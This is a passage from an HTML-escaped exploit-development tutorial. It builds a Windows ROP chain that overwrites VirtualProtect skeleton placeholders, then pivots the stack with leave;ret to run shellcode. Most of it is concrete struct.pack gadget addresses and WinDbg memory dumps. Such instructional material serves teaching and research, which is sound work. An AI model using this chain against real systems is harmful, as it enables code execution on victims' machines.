&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]  
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Putting everything together, the sequence of gadges which will overwrite the second and third placeholders in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton will appear as such:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501eaf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov [ebx+0x04], eax ; call  [0x625070DC]
# ! second placeholder overwritten with ret address
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ecd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx+0x08], eax ; call  [0x62507104]
# ! third placeholder overwritten with lpaddress (same as ret address)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;overriding-the-rest-of-the-placeholders&quot;&gt;Overriding the rest of the placeholders&lt;/h3&gt;

&lt;p&gt;Usually, as you progress deep into a gadget chain, you’ll begin to treat certain sequences of gadgets like functions, reusing them as needed. We’ll be adopting this approach for the remaining placeholders, which are as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;dwSize&lt;/li&gt;
  &lt;li&gt;flNewProtect&lt;/li&gt;
  &lt;li&gt;lpflOldProtect&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now that the first three placeholders are overwritten, we will need to increase &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0C / 0n12&lt;/code&gt; bytes in order to start at the fourth placeholder. Afterwards we will perform the same sequence of gadgets that was used to increase &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x104&lt;/code&gt; to point to the prospective shellcode location:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 0 - 0x0c
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625016ca&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# neg eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret 
# EDI contains a pop/ret instruction in order to simulate a return when an indirect call to EDI is made in the next gadget below
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501e3a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov esi, eax ; call edi
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6250221c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# add esi, ebx ; ret 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Upon executing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add esi, ebx ; ret&lt;/code&gt; instruction, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESI&lt;/code&gt; now points to the third placeholder in the skeleton, leaving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; unmodified. This poses a problem since the only available gadget for inserting a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; into a pointer specifically mandates &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; as the destination operand. Yet, reflecting back on a previous section, a similar obstacle was encountered and successfully navigated using the following gadget sequence:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501a9d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [esp+0x00], eax ; call  [0x62507124]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk will be overwritten by [esp + 0x00]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here, the memory address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62507124&lt;/code&gt; is pointing to an address of a gadget that essentially mimics the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ebp, eax ; ret&lt;/code&gt; instruction. Prior to utilizing this gadget, it’s necessary to move &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESI&lt;/code&gt; into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;. Conveniently, a gadget is on hand to accomplish this:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x62502412: mov eax, esi ; pop esi ; pop edi ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; now directing to the third placeholder within the skeleton, the remaining task involves replacing the placeholders in the skeleton with their appropriate values. Given that all the necessary gadgets to accomplish this have been previously outlined, the details will be skipped here for the sake of conciseness.&lt;/p&gt;

&lt;h3 id=&quot;stack-pivot&quot;&gt;Stack Pivot&lt;/h3&gt;

&lt;p&gt;Finally, with the skeleton completely constructed, the next step is to shift the stack to target the beginning of the skeleton, thereby initiating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; call. However before doing so, this is the moment to set a breakpoint at the end of the gadget chain and verify that both the second and third placeholders point to the shellcode. If they don’t align, simply adjust the offset.&lt;/p&gt;

&lt;p&gt;To execute a stack pivot, several commonly used gadgets might come into play:&lt;/p&gt;

&lt;p&gt;Note: In the context below, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r32&lt;/code&gt; represents the register that targets the beginning of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;push r32
pop esp
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov esp, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xchg r32, esp // xchg esp, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xor esp, esp / sub esp, esp
or esp, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Luck doesn’t always favor, and this is evident when sifting through the gadgets; however, several instances of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leave ; ret&lt;/code&gt; gadget are discovered.&lt;/p&gt;

&lt;p&gt;Within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt; architecture, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leave&lt;/code&gt; instruction is commonly found used in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__stdcall&lt;/code&gt; calling convention. This convention is where the callee is responsible for stack cleanup, an operation often referred to as the function epilogue.&lt;/p&gt;

&lt;p&gt;To clarify, the leave instruction emulates the following instructions:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov esp, ebp
pop ebp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For effective use of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leave&lt;/code&gt; instruction, it’s essential to transfer the pointer, which points to the start of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton, to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt;. Notably, the register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; currently holds this pointer. The challenge arises from the absence of direct gadgets that could transfer from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt;. Nevertheless, during the search, an instrumental gadget emerges:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x625017c0: mov ebp, eax ; call  [0x625070E8] 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Breaking down how this gadget will be used:&lt;/p&gt;

&lt;p&gt;The initial step is transferring &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;, though no direct gadget facilitates this action. A slight workaround is considered since it’s known that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; can be moved into to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESI&lt;/code&gt; via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add esi, ebx&lt;/code&gt; gadget, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESI&lt;/code&gt; can then be moved into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The involves leveraging the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ebp, eax ; call [0x625070E8]&lt;/code&gt; gadget to trigger the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leave ; ret&lt;/code&gt; instruction. This is achieved by redirecting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x625070E8&lt;/code&gt; pointer to insead point to a gadget which is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leave ; ret&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;This requires  an additional pointer overwrite addition at the start of the gadget chain, as shown below:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501573&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# leave ; ret (will be important for stack pivot at end)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625070E8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx will be 0x625070E8
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ultimately, the goal is to move the pointer to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;. Notably, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; is currently pointing to the fourth &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton, therefore requiring an adjustment.&lt;/p&gt;

&lt;p&gt;Before making any modifications, it’s crucial to consider the following specific scenario. As outlined earlier, when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt; gets moved into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESP&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leave&lt;/code&gt; instruction will then pop a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; off the stack into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt;. If the topmost value on the stack at that time happens to be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; address, it will be moved into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt;, thereby completely destroying the entire gadget chain.&lt;/p&gt;

&lt;p&gt;Provided below is a demonstration of what would happen, please keep in mind that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leave&lt;/code&gt; instruction was substituted for the more explicit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov esp, ebp ; pop ebp&lt;/code&gt; instructions:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501573  mov esp, ebp

&amp;gt; dds ebp L6
00f4f228  766d5c80  // VirtualProtect Address
00f4f22c  00f4f2e8  // ret address
00f4f230  00f4f2e8  // lpAddress
00f4f234  00000001  // dwSize  
00f4f238  00000040  // flNewProtect
00f4f23c  625070e4  // lpflOldProtect

// step through mov esp, ebp instruction

62501575  pop ebp

&amp;gt; dds esp L1
00f4f228  766d5c80  // VirtualProtect Address

// step through pop ebp instruction

0:003&amp;gt; dds esp L1
00f4f22c  00f4f2e8

// observe that ESP does not point to the VirtualProtect address anymore
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The remedy to this situation is to adjust &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; so that it doesn’t point directly to the beginning of the skeleton. Instead, it should target one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; prior to the skeleton’s start. This way, that particular &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; serves as the sacrificial entry that gets popped into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt;. Here is another demonstration of how this would now work instead:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501573  mov esp, ebp

&amp;gt; dds ebp L7
00f4f224  00000000
00f4f228  766d5c80  // VirtualProtect Address
00f4f22c  00f4f2e8  // ret address
00f4f230  00f4f2e8  // lpAddress
00f4f234  00000001  // dwSize  
00f4f238  00000040  // flNewProtect
00f4f23c  625070e4  // lpflOldProtect

// step through mov esp, ebp instruction

62501575  pop ebp

&amp;gt; dds esp L1
00f4f224  00000000

// step through pop ebp instruction

0:003&amp;gt; dds esp L1
00f4f228  766d5c80

// observe that ESP does point to the VirtualProtect address
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lastly the following sequence of gadgets that will adjust &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; to point to the start of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x04&lt;/code&gt;, move the pointer into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; and execute the stack pivot:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 0 - 0x10
